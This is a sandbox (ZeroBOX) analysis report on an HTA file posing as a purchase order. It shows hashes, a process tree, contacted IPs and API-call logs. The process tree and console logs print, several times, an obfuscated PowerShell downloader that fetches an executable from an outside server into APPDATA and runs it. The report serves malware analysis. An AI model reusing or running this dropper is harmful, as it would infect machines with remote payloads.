popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

PO-54752454235.hta

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 11, 2024, 10:04 a.m. Nov. 11, 2024, 10:10 a.m.
Size 17.5KB
Type HTML document, ASCII text, with very long lines
MD5 ae1d170677ac0a614ed5d88b943c7635
SHA256 e62061d984fda6be6d10edf1131454a5c81ead30c4440a75bd3ba80b1b83b099
CRC32 1EFBA6CE
ssdeep 192:F5sOwRdhB9NyK9KFTtJOyJ4YyuQSzTyW1gWHgNWvWk+gyVMOQE8JHumvNgczc:8O2hlatJOyJ4YyGgCGgyVEtzvNgczc
Yara None matched

  • mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\PO-54752454235.hta

    1880

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function DZzrEhDP($Jz, $G){[IO.File]::WriteAllBytes($Jz, $G)};function cVPGqauI($Jz){if($Jz.EndsWith((KMIhcrUSa @(18407,18461,18469,18469))) -eq $True){Start-Process (KMIhcrUSa @(18475,18478,18471,18461,18469,18469,18412,18411,18407,18462,18481,18462)) $Jz}else{Start-Process $Jz}};function NXvilJfwj($Nd){$gu = New-Object (KMIhcrUSa @(18439,18462,18477,18407,18448,18462,18459,18428,18469,18466,18462,18471,18477));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$G = $gu.DownloadData($Nd);return $G};function KMIhcrUSa($Xj){$Ds=18361;$Q=$Null;foreach($Nt in $Xj){$Q+=[char]($Nt-$Ds)};return $Q};function biUnSvy(){$wGmFaIqRG = $env:APPDATA + '\';$mVsYqYr = NXvilJfwj (KMIhcrUSa @(18465,18477,18477,18473,18419,18408,18408,18410,18417,18414,18407,18410,18418,18415,18407,18410,18410,18407,18410,18414,18410,18408,18466,18461,18467,18458,18408,18481,18436,18477,18483,18479,18461,18430,18472,18429,18426,18467,18437,18470,18479,18439,18407,18462,18481,18462));$JWZIMxNfA = $wGmFaIqRG + 'xKtzvdEoDAjLmvN.exe';DZzrEhDP $JWZIMxNfA $mVsYqYr;cVPGqauI $JWZIMxNfA;;;;}biUnSvy;

      2080

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
185.196.11.151 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: SecurityProtocolType" due to invalid enumeration values. Specify one of the fol
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: lowing enumeration values and try again. The possible enumeration values are "S
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: sl3, Tls"."
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At line:1 char:444
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + function DZzrEhDP($Jz, $G){[IO.File]::WriteAllBytes($Jz, $G)};function cVPGqa
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: uI($Jz){if($Jz.EndsWith((KMIhcrUSa @(18407,18461,18469,18469))) -eq $True){Star
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: t-Process (KMIhcrUSa @(18475,18478,18471,18461,18469,18469,18412,18411,18407,18
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: 462,18481,18462)) $Jz}else{Start-Process $Jz}};function NXvilJfwj($Nd){$gu = Ne
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: w-Object (KMIhcrUSa @(18439,18462,18477,18407,18448,18462,18459,18428,18469,184
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: 66,18462,18471,18477));[Net.ServicePointManager]:: <<<< SecurityProtocol = [Net
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .SecurityProtocolType]::TLS12;$G = $gu.DownloadData($Nd);return $G};function KM
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: IhcrUSa($Xj){$Ds=18361;$Q=$Null;foreach($Nt in $Xj){$Q+=[char]($Nt-$Ds)};return
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: $Q};function biUnSvy(){$wGmFaIqRG = $env:APPDATA + '\';$mVsYqYr = NXvilJfwj (K
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: MIhcrUSa @(18465,18477,18477,18473,18419,18408,18408,18410,18417,18414,18407,18
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: 7,18437,18470,18479,18439,18407,18462,18481,18462));$JWZIMxNfA = $wGmFaIqRG + '
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: xKtzvdEoDAjLmvN.exe';DZzrEhDP $JWZIMxNfA $mVsYqYr;cVPGqauI $JWZIMxNfA;;;;}biUnS
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: vy;
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : PropertyAssignmentException
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "Unable to connect to th
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: e remote server"
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: At line:1 char:518
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: + function DZzrEhDP($Jz, $G){[IO.File]::WriteAllBytes($Jz, $G)};function cVPGqa
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: uI($Jz){if($Jz.EndsWith((KMIhcrUSa @(18407,18461,18469,18469))) -eq $True){Star
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: t-Process (KMIhcrUSa @(18475,18478,18471,18461,18469,18469,18412,18411,18407,18
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: 462,18481,18462)) $Jz}else{Start-Process $Jz}};function NXvilJfwj($Nd){$gu = Ne
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: w-Object (KMIhcrUSa @(18439,18462,18477,18407,18448,18462,18459,18428,18469,184
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: 66,18462,18471,18477));[Net.ServicePointManager]::SecurityProtocol = [Net.Secur
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: ityProtocolType]::TLS12;$G = $gu.DownloadData <<<< ($Nd);return $G};function KM
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: IhcrUSa($Xj){$Ds=18361;$Q=$Null;foreach($Nt in $Xj){$Q+=[char]($Nt-$Ds)};return
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: $Q};function biUnSvy(){$wGmFaIqRG = $env:APPDATA + '\';$mVsYqYr = NXvilJfwj (K
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: MIhcrUSa @(18465,18477,18477,18473,18419,18408,18408,18410,18417,18414,18407,18
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: 7,18437,18470,18479,18439,18407,18462,18481,18462));$JWZIMxNfA = $wGmFaIqRG + '
console_handle: 0x000001f3
1 1 0

WriteConsoleW

 buffer: xKtzvdEoDAjLmvN.exe';DZzrEhDP $JWZIMxNfA $mVsYqYr;cVPGqauI $JWZIMxNfA;;;;}biUnS
console_handle: 0x000001ff
1 1 0

WriteConsoleW

 buffer: vy;
console_handle: 0x0000020b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x00000217
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x00000223
1 1 0

WriteConsoleW

 buffer: Exception calling "WriteAllBytes" with "2" argument(s): "Value cannot be null.
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: At line:1 char:52
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: + function DZzrEhDP($Jz, $G){[IO.File]::WriteAllBytes <<<< ($Jz, $G)};function
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: cVPGqauI($Jz){if($Jz.EndsWith((KMIhcrUSa @(18407,18461,18469,18469))) -eq $True
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: ){Start-Process (KMIhcrUSa @(18475,18478,18471,18461,18469,18469,18412,18411,18
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: 407,18462,18481,18462)) $Jz}else{Start-Process $Jz}};function NXvilJfwj($Nd){$g
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: u = New-Object (KMIhcrUSa @(18439,18462,18477,18407,18448,18462,18459,18428,184
console_handle: 0x00000297
1 1 0

WriteConsoleW

 buffer: 69,18466,18462,18471,18477));[Net.ServicePointManager]::SecurityProtocol = [Net
console_handle: 0x000002a3
1 1 0

WriteConsoleW

 buffer: .SecurityProtocolType]::TLS12;$G = $gu.DownloadData($Nd);return $G};function KM
console_handle: 0x000002af
1 1 0

WriteConsoleW

 buffer: IhcrUSa($Xj){$Ds=18361;$Q=$Null;foreach($Nt in $Xj){$Q+=[char]($Nt-$Ds)};return
console_handle: 0x000002bb
1 1 0

WriteConsoleW

 buffer: $Q};function biUnSvy(){$wGmFaIqRG = $env:APPDATA + '\';$mVsYqYr = NXvilJfwj (K
console_handle: 0x000002c7
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036cde8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036cf28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036cf28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036cf28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036c728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036c728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036c728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036c728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036c728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036c728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036cf28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036cf28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036cf28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d1a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d4a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d2e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d2e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d2e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d2e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d2e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d2e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d2e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d2e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d1e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d1e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d1e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036d1e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02450000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02460000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x719b1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2080
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x719b2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02512000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02532000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02461000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02462000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0259a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02533000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02534000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02592000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02535000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0259c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04990000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02536000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x025ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02593000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02594000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02595000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02596000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02597000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02598000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02599000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e13000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e14000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e15000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e16000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e17000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e18000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e19000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e1a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2080
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
